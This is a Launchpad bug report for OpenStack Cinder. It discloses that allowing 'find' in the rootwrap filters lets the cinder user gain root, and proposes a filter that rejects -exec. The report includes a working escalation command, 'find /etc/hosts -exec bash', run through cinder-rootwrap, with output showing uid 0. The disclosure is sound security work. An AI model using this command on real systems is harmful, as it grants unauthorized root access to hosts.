** Changed in: cinder
Assignee: (unassigned) => Daniel Gollub (d-gollub)
** Changed in: cinder
Status: New => Confirmed
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https://bugs.launchpad.net/bugs/1250101
Title:
Cinder's rootwrap filters allow to run find as root, which allows
arbitrary commands
Status in Cinder:
In Progress
Status in Oslo - a Library of Common OpenStack Code:
Invalid
Status in OpenStack Security Advisories:
Invalid
Bug description:
The patch
https://github.com/openstack/cinder/commit/688c515b9d662486395d36c303ca599376a1dc0d
added the find command to etc/cinder/rootwrap.d/volume.filters. This
introduces a security hole as the find command is able to call exec,
and so the cinder user can run any command as root. For example:
vagrant at controller:~$ sudo -u cinder bash
cinder at controller:~$ id
uid=109(cinder) gid=115(cinder) groups=115(cinder)
cinder at controller:~$ sudo /usr/bin/cinder-rootwrap
/etc/cinder/rootwrap.conf find /etc/hosts -exec bash \;
root at controller:~# id
uid=0(root) gid=0(root) groups=0(root)
I guess the way to fix this is to add a FindFilter to Oslo that rejects calls to find with the -exec or -execdir argument.
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